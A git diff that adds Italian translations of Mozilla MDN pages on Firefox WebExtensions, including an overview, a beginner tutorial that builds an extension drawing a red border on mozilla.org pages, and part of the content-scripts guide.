+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/it/mozilla/add-ons/webextensions/api/search/index.html b/files/it/mozilla/add-ons/webextensions/api/search/index.html
new file mode 100644
index 0000000000..07f8f4d05a
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/api/search/index.html
@@ -0,0 +1,10 @@
+---
+title: search
+slug: Mozilla/Add-ons/WebExtensions/API/search
+translation_of: Mozilla/Add-ons/WebExtensions/API/search
+---
+<div> </div>
+
+<div>{{AddonSidebar}}</div>
+
+<p>Lasciato intenzionalmente bianco fino a che l'API non sarà completata.</p>
diff --git a/files/it/mozilla/add-ons/webextensions/cosa_sono_le_webextensions/index.html b/files/it/mozilla/add-ons/webextensions/cosa_sono_le_webextensions/index.html
new file mode 100644
index 0000000000..c74fbd8473
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/cosa_sono_le_webextensions/index.html
@@ -0,0 +1,59 @@
+---
+title: Cosa sono le estensioni?
+slug: Mozilla/Add-ons/WebExtensions/Cosa_sono_le_WebExtensions
+tags:
+  - Estensioni
+  - WebExtension
+translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Un'estensione modifica le funzionalità di un browser. Viene creata utilizzando gli standard della tecnologia web - HTML, CSS, e JavaScript. Può trarre vantaggio dalle stesse web API come JavaScript può in una pagina web, ma un'estensione ha anche accesso ad un proprio set di API JavaScript. Questo significa che puoi fare molto di più in un'estensione di quanto tu ne possa fare con il codice in una pagina. Questi sono soltanto alcuni esempi delle cose che puoi fare:</p>
+
+<p><strong>Migliorare o completare un sito web</strong>: Usa un'estensione per inviare nel browser caratteristiche o informazioni aggiuntive dal tuo sito web. Permettere agli utenti di raccogliere informazioni dalle pagine che visitano per migliorare il servizio che offri.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15808/Amazon_add_on.png"></p>
+
+<p>Esempi: <a href="https://addons.mozilla.org/it/firefox/addon/amazon-browser-bar/">Amazon Assistant</a>, <a href="https://addons.mozilla.org/it/firefox/addon/onenote-clipper/">OneNote Web Clipper</a> e <a href="https://addons.mozilla.org/it/firefox/addon/grammarly-1/">Grammarly for Firefox</a></p>
+
+<p><strong>Permettere agli utenti di mostrare la loro personalità</strong>: Le estensioni del browser possono manipolare il contenuto delle pagine che l'utente visita. Aiuta gli utenti ad aggiungere un logo o un'immagine preferita come sfondo di tutte le pagine che visitano. Le estensioni ti danno anche la possibilità di aggiornare l'aspetto di Firefox. (Puoi aggiornare l'aspetto di Firefox anche con i <a href="https://developer.mozilla.org/en-US/Add-ons/Themes/Theme_concepts">temi</a>).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15809/MyWeb_New_Tab_add_on.png" style="height: 398px; width: 540px;"></p>
+
+<p>Esempi: <a href="https://addons.mozilla.org/it/firefox/addon/myweb-new-tab/">MyWeb New Tab</a>, <a href="https://addons.mozilla.org/it/firefox/addon/tabliss/">Tabliss</a> e <a href="https://addons.mozilla.org/it/firefox/addon/vivaldifox/">VivaldiFox</a></p>
+
+<p><strong>Aggiungere o rimuovere contenuti dalle pagine web</strong>: Potresti voler aiutare le persone a bloccare le pubblicità intrusive dalle pagine web, fornire l'accesso ad una guida di viaggio ogni volta che un paese o una città vengono menzionati in una pagina web, o ristrutturare il contenuto di una pagina per offrire un'esperienza di lettura coerente. Con la possibilità di poter accedere e aggiornare sia l'HTML che il CSS di una pagina, puoi aiutare gli utenti a fargli vedere il web nel modo in cui lo desiderano.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15807/ublock_origin_add_on.png" style="height: 480px; width: 640px;"></p>
+
+<p>Esempi: <a href="https://addons.mozilla.org/it/firefox/addon/ublock-origin/">uBlock Origin</a>, <a href="https://addons.mozilla.org/it/firefox/addon/reader/">Reader</a> e <a href="https://addons.mozilla.org/it/firefox/addon/toolbox-google-play-store/">Toolbox for Google Play Store™</a></p>
+
+<p><strong>Aggiungere strumenti e nuove funzionalità di navigazione</strong>: Aggiungi nuove funzionalità ad una taskboard, o generare immagini di codici QR da URL, da collegamenti ipertestuali, o dal testo di una pagina. Con le opzioni flessibili dell'UI e dal potenziale delle WebExtension API, puoi aggiungere facilmente nuove funzionalità ad un browser. Inoltre, puoi aumentare le caratteristiche e le funzionalità di qualsiasi sito web, anche se non è il tuo.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15806/QR_Code_Image_Generator_add_on.png"></p>
+
+<p>Esempi: <a href="https://addons.mozilla.org/it/firefox/addon/qr-code-image-generator/">QR Code Image Generator</a>, <a href="https://addons.mozilla.org/it/firefox/addon/swimlanes-for-trello/">Swimlanes for Trello</a> e <a href="https://addons.mozilla.org/it/firefox/addon/tomato-clock/">Tomato Clock</a></p>
+
+<p><strong>Giochi</strong>: Offri giochi per computer tradizionali, con la possibilità di giocare offline, ma anche esplorare nuove possibilità di gioco, ad esempio, incorporando il gameplay nella navigazione di tutti i giorni.</p>
+
+<p> <img alt="" src="https://mdn.mozillademos.org/files/15805/Asteroids_in_Popup_add_on%20.png" style="height: 438px; width: 700px;"></p>
+
+<p>Esempi: <a href="https://addons.mozilla.org/it/firefox/addon/asteroids-in-popup/">Asteroids in Popup</a>, <a href="https://addons.mozilla.org/it/firefox/addon/solitaire-card-game-new-tab/">Solitaire Card Game New Tab</a> e <a href="https://addons.mozilla.org/it/firefox/addon/2048-prime/">2048 Prime</a></p>
+
+<p><strong>Aggiungere strumenti di sviluppo</strong>: Puoi fornire strumenti di sviluppo web per il tuo lavoro, o hai sviluppato una tecnica utile o un approccio allo sviluppo web che vuoi condividere. In entrambi i casi, puoi migliorare gli strumenti di sviluppo integrati in Firefox aggiungendo una nuova scheda alla barra di strumenti per sviluppatori.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15804/aXe_Developer_Tools_add_on.png" style="height: 261px; width: 700px;"></p>
+
+<p>Esempi: <a href="https://addons.mozilla.org/it/firefox/addon/web-developer/">Web Developer</a>, <a href="https://addons.mozilla.org/it/firefox/addon/react-devtools/">Web React Developer Tools</a> e <a href="https://addons.mozilla.org/it/firefox/addon/axe-devtools/">aXe Developer Tools</a></p>
+
+<p>Le estensioni per Firefox vengono create utilizzando le WebExtension API, un sistema cross-browser per lo sviluppo delle estensioni. In gran parte, l'API è compatibile con l'<a class="external external-icon" href="https://developer.chrome.com/extensions">API delle estensioni</a> supportato da Google Chrome e Opera. Le estensioni scritte per questi browser in molti casi funzioneranno in Firefox o Microsoft Edge soltanto con poche <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">modifiche</a>. L'API è anche completamente compatibile con <a href="https://developer.mozilla.org/it/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>.</p>
+
+<p>Se hai idee, domande, o hai bisogno di aiuto per migrare un add-on ad una WebExtension, puoi raggiungerci nella<a class="external external-icon" href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons mailing list</a> o in <a href="irc://irc.mozilla.org/extdev">#extdev</a> su <a class="external external-icon" href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<h2 id="E_adesso">E adesso?</h2>
+
+<ul>
+ <li>Segui passo dopo passo lo sviluppo di una semplice estensione nella <a href="/it/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">Tua prima estensione</a>.</li>
+ <li>Scopri la struttura di un'estensione in <a href="/it/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomia di una estensione</a>.</li>
+ <li>Prova alcuni esempi di estensione in <a href="/it/Add-ons/WebExtensions/Examples">Esempi di estensioni</a>.</li>
+</ul>
diff --git a/files/it/mozilla/add-ons/webextensions/index.html b/files/it/mozilla/add-ons/webextensions/index.html
new file mode 100644
index 0000000000..078f67268d
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/index.html
@@ -0,0 +1,88 @@
+---
+title: WebExtensions
+slug: Mozilla/Add-ons/WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Le WebExtensions sono un metodo cross-browser per sviluppare add-on. In larga parte il metodo è compatibile con le <a class="external-icon external" href="https://developer.chrome.com/extensions">extension API</a> supportate da Google, Chrome e Opera. Le estensioni create per questi browsers funzioneranno con <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome">poche modifiche</a> su Firefox o <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/">Microsoft Edge</a>. Le API sono anche completamente compatibili con <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">Firefox multiprocesso</a>.</p>
+
+<p>Vogliamo continuare ad estendere le API per supportare le necessità degli sviluppatori di add-ons, perciò se hai idee, ci piacerebbe sentirle. Contattaci su <a href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons mailing list</a> o <a href="irc://irc.mozilla.org/webextensions">#webextensions</a> su <a href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h3 id="Iniziare">Iniziare</h3>
+
+<ul>
+ <li><a href="/it/Add-ons/WebExtensions/Cosa_sono_le_WebExtensions">Cosa sono le WebExtensions?</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_first_WebExtension">La tua prima WebExtension</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">La seconda WebExtension</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomia di una WebExtension</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Examples">Esempi di WebExtensions</a></li>
+</ul>
+
+<h3 id="Come_fare">Come fare</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">Rilevare richieste HTTP</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">Modificare una pagina web</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Aggiungere un bottone alla toolbar</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Creare una pagina impostazioni</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard">Interagire con la clipboard</a></li>
+ <li>Manipolare le tabs del browser</li>
+ <li>Accedere e modificare bookmarks</li>
+ <li>Accedere e modificare cookies</li>
+</ul>
+
+<h3 id="Concetti">Concetti</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">JavaScript API overview</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_interface_components">Componenti UI</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Scripts contenuto</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">Match di patterns</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internationazionalizzazione</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Policy di Sicurezza dei Contenuti</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Messaging Nativo</a></li>
+</ul>
+
+<h3 id="Porting">Porting</h3>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome">Porting di una estensione Google Chrome</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">Porting di un add-on Firefox</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparazione con la Add-on SDK</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparazione con le estensioni XUL/XPCOM</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">Incompatibilità di Chrome</a></li>
+</ul>
+
+<h3 id="Firefox_workflow">Firefox workflow</h3>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Installazione</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Debugging">Debugging</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">Iniziare con la web-ext</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext reference comandi</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">WebExtensions e la Add-on ID</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">Pubblicare la tua WebExtension</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h3 id="Riferimenti">Riferimenti</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">JavaScript API overview</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Compatibilità dei Browser con le APIs JavaScript</a></li>
+</ul>
+
+<h4 id="JavaScript_APIs">JavaScript APIs</h4>
+
+<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/API") }}</div>
+
+<h4 id="Manifest_keys">Manifest keys</h4>
+
+<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}</div>
+</div>
+</div>
diff --git a/files/it/mozilla/add-ons/webextensions/la_tua_prima_webextension/index.html b/files/it/mozilla/add-ons/webextensions/la_tua_prima_webextension/index.html
new file mode 100644
index 0000000000..fac1b12e36
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/la_tua_prima_webextension/index.html
@@ -0,0 +1,153 @@
+---
+title: La tua prima estensione
+slug: Mozilla/Add-ons/WebExtensions/La_tua_prima_WebExtension
+tags:
+  - Guida
+  - WebExtension
+translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
+---
+<div>{{AddonSidebar}}</div>
+
+<p>In questo articolo creeremo passo dopo passo un'estensione per Firefox, dall'inizio alla fine. L'estensione aggiungerà un bordo rosso a tutte le pagine caricate da "mozilla.org" o da un suo sottodominio.</p>
+
+<p>Il codice sorgente di questo esempio è su GitHub: <a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">https://github.com/mdn/webextensions-examples/tree/master/borderify</a>.</p>
+
+<p>Per prima cosa hai bisogno di Firefox versione 45 o superiore.</p>
+
+<h2 id="Scrittura_dell'estensione">Scrittura dell'estensione</h2>
+
+<p>Crea una cartella e posizionati al suo interno:</p>
+
+<pre class="brush: bash">mkdir borderify
+cd borderify</pre>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>Ora, crea un nuovo file chiamato "manifest.json" all'interno della cartella "borderify". Scrivi nel file il seguente contenuto:</p>
+
+<pre class="brush: json">{
+
+  "manifest_version": 2,
+  "name": "Borderify",
+  "version": "1.0",
+
+  "description": "Aggiunge un bordo rosso a tutte le pagine caricate da mozilla.org.",
+
+  "icons": {
+    "48": "icons/border-48.png"
+  },
+
+  "content_scripts": [
+    {
+      "matches": ["*://*.mozilla.org/*"],
+      "js": ["borderify.js"]
+    }
+  ]
+
+}</pre>
+
+<ul>
+ <li>Le prime tre chiavi: <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code>, <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/name">name</a></code>, and <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/version">version</a></code>, sono obbligatorie e contengono metadati base per l'estensione.</li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/description">description</a></code> è opzionale, ma raccomandata: viene mostrata in Gestione componenti aggiuntivi.</li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> è opzionale, ma raccomandata: ti permette di specificare un'icona per l'estenzione che verrà mostrata in Gestione componenti aggiuntivi.</li>
+</ul>
+
+<p>La chiave più interessante è <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, dice a Firefox di caricare uno script nelle pagine Web i cui URL corrispondono ad uno schema specifico. In questo caso, chiediamo a Firefox di caricare uno script chiamato "borderify.js" in tutto le pagine HTTP o HTTPS fornite da "mozilla.org" o dai suoi sottodomini.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Ulteriori informazioni sugli script di contenuto.</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">Ulteriori informazioni sugli schemi di corrispondenza</a>.</li>
+</ul>
+
+<div class="warning">
+<p><a href="/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_Add-on_ID">In alcune situazioni è necessario specificare un ID per la propria estensione</a>. Se devi specificare l'ID dell'estensione, includi la chiave  <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> nel file <code>manifest.json</code> e imposta la sua proprietà <code>gecko.id</code>:</p>
+
+<pre class="brush: json">"applications": {
+  "gecko": {
+    "id": "borderify@example.com"
+  }
+}</pre>
+</div>
+
+<h3 id="iconsborder-48.png">icons/border-48.png</h3>
+
+<p>L'estensione dovrebbe avere un'icona. Essa verrà mostrata accanto alla lista delle estensioni in Gestione componenti aggiuntivi. Il file manifest.json ha dichiarato di avere un'icona a "icons/border-48.png".</p>
+
+<p>Crea la cartella "icons" all'interno della cartella "borderify". Salva un'icona al suo interno chiamata "border-48.png".  Puoi usare <a href="https://github.com/mdn/webextensions-examples/blob/master/borderify/icons/border-48.png">la stessa del nostro esempio</a>, presa dal set di icone di Google Material Design, e usata secondo i termini della licenza <a href="https://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike</a>.</p>
+
+<p>Se scegli di usare la tua icona, dovrebbe essere di 48x48 pixel. Potresti anche fornire un'icona di 96x96 pixel, per i display ad alta risoluzione. Se la aggiungi, dovrà essere specificata con la proprietà <code>96</code> dell'oggetto <code>icons</code> nel file manifest.json:</p>
+
+<pre class="brush: json">"icons": {
+  "48": "icons/border-48.png",
+  "96": "icons/border-96.png"
+}</pre>
+
+<p>In alternativa, potresti fornite un file SVG che verrà ridimensionato correttamente. (Comunque: se utilizzi SVG e la tua icona comprende del testo, puoi utilizzare lo strumento "converti in percorso" dell'editor SVG per appiattire il testo, in modo da poter essere ridimensionato con una dimensione/posizione coerente.)</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">Ulteriori informazioni per specificare le icone.</a></li>
+</ul>
+
+<h3 id="borderify.js">borderify.js</h3>
+
+<p>Infine, crea un file chiamato "borderify.js" all'interno della cartella "borderify" e scrivici questo contenuto:</p>
+
+<pre class="brush: js">document.body.style.border = "5px solid red";</pre>
+
+<p>Questo script verrà caricato in tutte le pagine che corrispondono allo schema specificato nella chiave <code>content_scripts</code> nel file manifest.json. Lo script ha accesso diretto al documento, proprio come gli script caricati normalmente dalla pagina.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Ulteriori informazioni sugli schemi di corrispondenza.</a></li>
+</ul>
+
+<h2 id="Provala">Provala</h2>
+
+<p>Innanzitutto, controlla di avere i file giusti nei posti giusti:</p>
+
+<pre>borderify/
+    icons/
+        border-48.png
+    borderify.js
+    manifest.json</pre>
+
+<h3 id="Installazione">Installazione</h3>
+
+<p>Apri "about:debugging" in Firefox, clicca "Carica comp. aggiuntivo temporaneo" e seleziona un qualsiasi file nella cartella dell'estensione:</p>
+
+<p>{{EmbedYouTube("cer9EUKegG4")}}</p>
+
+<p>L'estensione verrà ora installata e rimarrà finché non riavvii Firefox.</p>
+
+<p>In alternativa, puoi eseguire l'estensione da riga di comanto utilizzando lo strumento <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a>.</p>
+
+<h3 id="Prova">Prova</h3>
+
+<p>Ora prova a visitare una pagina di "mozilla.org", dovresti vedere un bordo rosso intorno alla pagina:</p>
+
+<p>{{EmbedYouTube("rxBQl2Z9IBQ")}}</p>
+
+<div class="note">
+<p>Non provarlo su addons.mozilla.org, però! Gli script di contenuto sono attualmente bloccatu su quel dominio.</p>
+</div>
+
+<p>Prova a sperimentare un po. Modifica lo script per far cambiare il colore del bordo, o fai qualcosaltro al contenuto della pagina. Salva lo script e ricarica i file dell'estensione cliccando il pulsante "Ricarica" in about:debugging. Puoi vedere subito i cambiamenti:</p>
+
+<p>{{EmbedYouTube("NuajE60jfGY")}}</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Ulteriori informazioni sul caricamento delle estensioni</a></li>
+</ul>
+
+<h2 id="Impacchettamento_e_pubblicazione">Impacchettamento e pubblicazione</h2>
+
+<p>Per far utilizzare la tua estensione ad altre persone, devi impacchettarla e inviarla a Mozilla per firmarla. Per saperne di più, guarda <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">"Pubblicazione della tua estensione"</a>.</p>
+
+<h2 id="E_adesso">E adesso?</h2>
+
+<p>Ora hai un'idea del processo di sviluppo di una WebExtension per firefox, prosegui con:</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">l'anatomia di un'estensione</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">scrivere un'estensione più complessa</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/API">API Javascript disponibili per le estensioni.</a></li>
+</ul>
diff --git a/files/it/mozilla/add-ons/webextensions/script_contenuto/index.html b/files/it/mozilla/add-ons/webextensions/script_contenuto/index.html
new file mode 100644
index 0000000000..4ee11316c5
--- /dev/null
+++ b/files/it/mozilla/add-ons/webextensions/script_contenuto/index.html
@@ -0,0 +1,494 @@
+---
+title: Script  di contenuto
+slug: Mozilla/Add-ons/WebExtensions/Script_contenuto
+tags:
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Content_scripts
+---
+<div>{{AddonSidebar}}</div>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Uno </span></span> script di contenuto <span class="tlid-translation translation" lang="it"><span title=""> è una parte dell'estensione che viene eseguita nel contesto di una particolare pagina Web (al contrario degli script di sfondo che fanno parte dell'estensione o degli script che fanno parte del sito stesso, come quelli caricati utilizzando l'elemento</span></span> {{HTMLElement("script")}}).</p>
+
+<p><a href="/en-US/Add-ons/WebExtensions/Background_scripts">Gli script in Background</a> possono accedere a tutte le <a href="/en-US/Add-ons/WebExtensions/API">WebExtension JavaScript APIs</a>, <span class="tlid-translation translation" lang="it"><span title="">ma non possono accedere direttamente al contenuto delle pagine Web.</span> <span title="">Quindi, se la tua estensione ha bisogno di farlo, hai bisogno degli script di contenuto</span></span> <span class="tlid-translation translation" lang="it"><span title="">.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Proprio come gli script caricati da normali pagine web, gli script di contenuto possono leggere e modificare il contenuto delle loro pagine usando le API DOM standard.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Gli script di contenuto possono accedere solo a un piccolo sottoinsieme delle API di WebExtension, ma possono comunicare con script in background utilizzando un sistema di messaggistica e quindi accedere indirettamente alle API di WebExtension.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Gli script di contenuto possono accedere solo a</span></span> <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">un piccolo sottoinsieme delle WebExtension APIs</a>, ma possono <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts">comunicare con gli script in background</a> <span class="tlid-translation translation" lang="it"><span title="">utilizzando un sistema di messaggistica e quindi accedere indirettamente alle</span></span> WebExtension APIs.</p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="it"><span title="">Nota che gli script di contenuto sono bloccati nei seguenti domini:</span></span></p>
+
+<ul style="display: grid;">
+ <li>accounts-static.cdn.mozilla.net</li>
+ <li>accounts.firefox.com</li>
+ <li>addons.cdn.mozilla.net</li>
+ <li>addons.mozilla.org</li>
+ <li>api.accounts.firefox.com</li>
+ <li>content.cdn.mozilla.net</li>
+ <li>content.cdn.mozilla.net</li>
+ <li>discovery.addons.mozilla.org</li>
+ <li>input.mozilla.org</li>
+ <li>install.mozilla.org</li>
+ <li>oauth.accounts.firefox.com</li>
+ <li>profile.accounts.firefox.com</li>
+ <li>support.mozilla.org</li>
+ <li>sync.services.mozilla.com</li>
+ <li>testpilot.firefox.com</li>
+</ul>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Se provi a iniettare uno script di contenuto in una pagina in uno di questi domini, l'operazione fallirà e la pagina registrerà un errore</span></span> <a href="/en-US/docs/Web/HTTP/CSP">CSP</a>.</p>
+
+<p>Poiché queste restrizioni includono addons.mozilla.org, gli utenti possono essere tentati di utilizzare l'estensione immediatamente dopo l'installazione, solo per scoprire che non funziona! È possibile aggiungere un avviso appropriato o una <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/onboarding_upboarding_offboarding_best_practices">pagina di inserimento</a> per spostare gli utenti da addons.mozilla.org.</p>
+</div>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="it"><span title="">Valori aggiunti all'ambito globale di uno script di contenuto con</span></span> <code>var foo</code> o <code>window.foo = "bar"</code> potrebbe scomparire a causa di un bug <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1408996">1408996</a>.</p>
+</div>
+
+<h2 id="Caricamento_di_script_di_contenuto">Caricamento di script di contenuto</h2>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Puoi caricare uno script di contenuto in una pagina web in tre modi:</span></span></p>
+
+<p>Al momento dell'installazione, nelle pagine che corrispondono ai pattern URL: utilizzando la chiave content_scripts in manifest.json, è possibile chiedere al browser di caricare uno script di contenuto ogni volta che il browser carica una pagina il cui URL corrisponde a un determinato pattern.</p>
+
+<ol>
+ <li><strong>Al momento dell'installazione, nelle pagine che corrispondono al pattern URL:</strong> utilizzando il tag <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code> nel vostro file manifest.json, è possibile chiedere al browser di caricare uno script di contenuto ogni volta che il browser carica una pagina il cui URL <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Match_patterns">corrisponde ad un determinato pattern</a></li>
+ <li><strong>In fase di runtime, nelle pagine che corrispondono a un determinato pattern URL:</strong> utilizzando {{WebExtAPIRef("contentScripts")}} API, <span class="tlid-translation translation" lang="it"><span title="">potete chiedere al browser di caricare uno script di contenuto ogni volta che il browser carica una pagina il cui URL</span></span> <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Match_patterns">corrisponde ad un determinato pattern</a>. Questo è un metodo possibile (1), <span class="tlid-translation translation" lang="it"><span title="">tranne che è possibile aggiungere e rimuovere script di contenuto in fase di esecuzione</span></span>.</li>
+ <li><strong>In fase di runtime, in specifiche schede:</strong> utilizzando le <code><a href="/en-US/Add-ons/WebExtensions/API/Tabs/executeScript">tabs.executeScript()</a></code> API, è possibile caricare uno script di contenuto in una scheda specifica ogni volta che si desidera: ad esempio, in risposta all'utente che fa clic su <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">una azione del browser</a>.</li>
+</ol>
+
+<p>Esiste un solo ambito globale<em> per frame e per estensione</em>. Ciò significa che le variabili di uno script di contenuto possono essere direttamente accessibili da un altro script di contenuto, indipendentemente dal modo in cui è stato caricato.</p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Utilizzando i metodi (1) e (2), è possibile caricare gli script solo in pagine i cui URL possono essere rappresentati utilizzando un</span></span> <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">pattern di confronto</a>.</p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Usando il metodo (3), puoi anche caricare script in pagine contenute nella tua estensione, ma non puoi caricare script in pagine del browser privilegiate (come "about: debugging" o "about: addons").</span></span></p>
+
+<h2 id="Ambiente_degli_script_di_contenuto"><span class="tlid-translation translation" lang="it"><span title="">Ambiente degli script di contenuto</span></span></h2>
+
+<h3 id="accesso_al_DOM">accesso al DOM</h3>
+
+<p>Gli script di contenuto possono accedere e modificare il DOM della pagina, proprio come possono fare i normali script di pagina. Possono anche vedere eventuali modifiche apportate al DOM tramite script di pagina.</p>
+
+<p>Tuttavia, gli script di contenuto ottengono una "visualizzazione originale del DOM". Questo significa:</p>
+
+<ul>
+ <li>Gli script di contenuto non possono vedere le variabili JavaScript definite dagli script di pagina.</li>
+ <li>Se uno script di pagina ridefinisce una proprietà DOM incorporata, lo script di contenuto vedrà la versione originale della proprietà, non la versione ridefinita.</li>
+</ul>
+
+<p>In Firefox, questo comportamento è chiamato <a href="/en-US/docs/Xray_vision">Xray vision</a>.</p>
+
